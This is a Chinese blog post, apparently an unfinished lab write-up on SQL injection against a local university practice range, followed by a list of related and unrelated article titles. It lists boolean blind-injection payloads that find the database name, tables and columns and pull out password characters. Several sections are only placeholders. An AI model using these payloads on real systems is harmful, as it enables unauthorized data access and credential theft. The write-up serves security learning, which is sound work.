简介

靶场:榆林学院信息安全协会——入侵榆大实验靶场

数字型注入

1

字符型注入

1

布尔注入

1.布尔注入简介

mysql bool注入是盲注的一种。与报错注入不同,bool注入没有任何报错信息输出,

页面返回只有正常和不正常两种状态。攻击者只能通过这两个状态来判断输入的SQL注入语句是否正确,

从而判断数据库中存储了那些信息

2.基础的MYSQL函数

ascii()返回字符串str的最左面字符的ASCII代码值

ord() 函数返回字符串第一个字符的ASCII 值

substring()字符串截取函数

left(str, length)从开始截取字符串

right(str, length)从右边开始截取字符串

学习参考:https://www.cnblogs.com/heyonggang/p/8117754.html

3.二分法盲注过程

靶场采用协会内1比1仿真靶场:

测试注入payload:

http://127.0.0.1/index.php?id=8'
http://127.0.0.1/index.php?id=8 and 1=1
http://127.0.0.1/index.php?id=8 and 1=2

经过测试  页面不论怎样测试都没有错误  只有有数据 和无数据两种页面 不像别的注入页面会爆出错误 只有爆出错误信息我们才能通过错误信息这块来爆出数据库中的内容

所以我们大致判断这个页面是一个布尔注入  使用盲注方法来解决。

采用二分法判断 得知数据库长度为4

and (select length(database()))>35   //页面回显没数据
and (select length(database()))<35 //页面回显有数据
and (select length(database()))=4 //页面回显有数据

获得数据库名 获得数据库名为 ylxy

and left((select database()),1)='y'

获得数据库中表的数量

and if((select count(*) from information_schema.tables where table_schema=database())>1,1,0)
and if((select count(*) from information_schema.tables where table_schema=database())=2,1,0)

获得数据库表名

and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'

------有问题。。。。

判断字段数量

and (select count(*) from information_schema.columns where table_name='users')>1

获得指定表名字段数
and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'

爆数据
and left((select password from users limit 0,1),1)='D'

3.sqlmap 注入

ddd

3.python 脚本注入

线性结构Linear Structure

1

web安全原理分析-SQL注入漏洞全解的更多相关文章

  1. 什么是简单的分析SQL注入漏洞

    如今非常多人在入侵的过程中基本都是通过SQL注入来完毕的,可是有多少人知道为什么会有这种注入漏洞呢?有的会随口说着对于字符的过滤不严造成的. 可是事实是这样吗?我们学这些.不仅要知其然.更要知其所以然 ...

  2. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  3. SQL注入漏洞技术的详解

    SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...

  4. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  5. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...

  9. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

随机推荐

  1. 【Flutter 混合开发】与原生通信-MethodChannel

    Flutter 混合开发系列 包含如下: 嵌入原生View-Android 嵌入原生View-iOS 与原生通信-MethodChannel 与原生通信-BasicMessageChannel 与原生 ...

  2. vue知识点12

    知识点归纳整理如下: 1. 数组用下标改变,或者对象增加属性,这样的改变数据   是不能触发视图更新的,要用 Vue.set(对象,属性,值) 或this.$set(对象,属性,值) 2. this. ...

  3. docker启动redis并设置密码

    docker启动redis并设置密码: docker run -d --name redis -p 6379:6379 redis --requirepass "password" ...

  4. python识别视频黑屏或者低清晰度

    第一步:获取视频第一帧图片 https://www.cnblogs.com/pythonywy/p/13749735.html 第二步:进行识别 import os import numpy as n ...

  5. Java nio Server端示例

    public class ServerNio { public static void main(String[] args) throws IOException, InterruptedExcep ...

  6. jq animate 的第二写法

    俩个参数的写法 例子: $('#div1').animate({num:'auto'},{ duration : 1000,   //运动时间 easing : 'linear',    //运动形式 ...

  7. DOM属性/节点属性

    DOM属性:DOM(Document Object Model,文档对象模型)一种独立于语言,用于操作xml,html的应用编程接口1:获取节点: document.getElementById(id ...

  8. ORB-SLAM3 Initializer.cpp函数解读

    作者: Liam 点击上方"计算机视觉工坊",选择"星标" 干货第一时间送达 构造函数 Initializer::Initializer(const Frame ...

  9. Kubernetes Pod驱逐策略

    Kubelet 能够主动监测和防止计算资源的全面短缺. 在资源短缺的情况下,kubelet 可以主动地结束一个或多个 Pod 以回收短缺的资源. 当 kubelet 结束一个 Pod 时,它将终止 P ...

  10. OpenCascade拓扑对象之:Face的方向、参数域和曲面间的关系

    @font-face { font-family: "Times New Roman" } @font-face { font-family: "宋体" } @ ...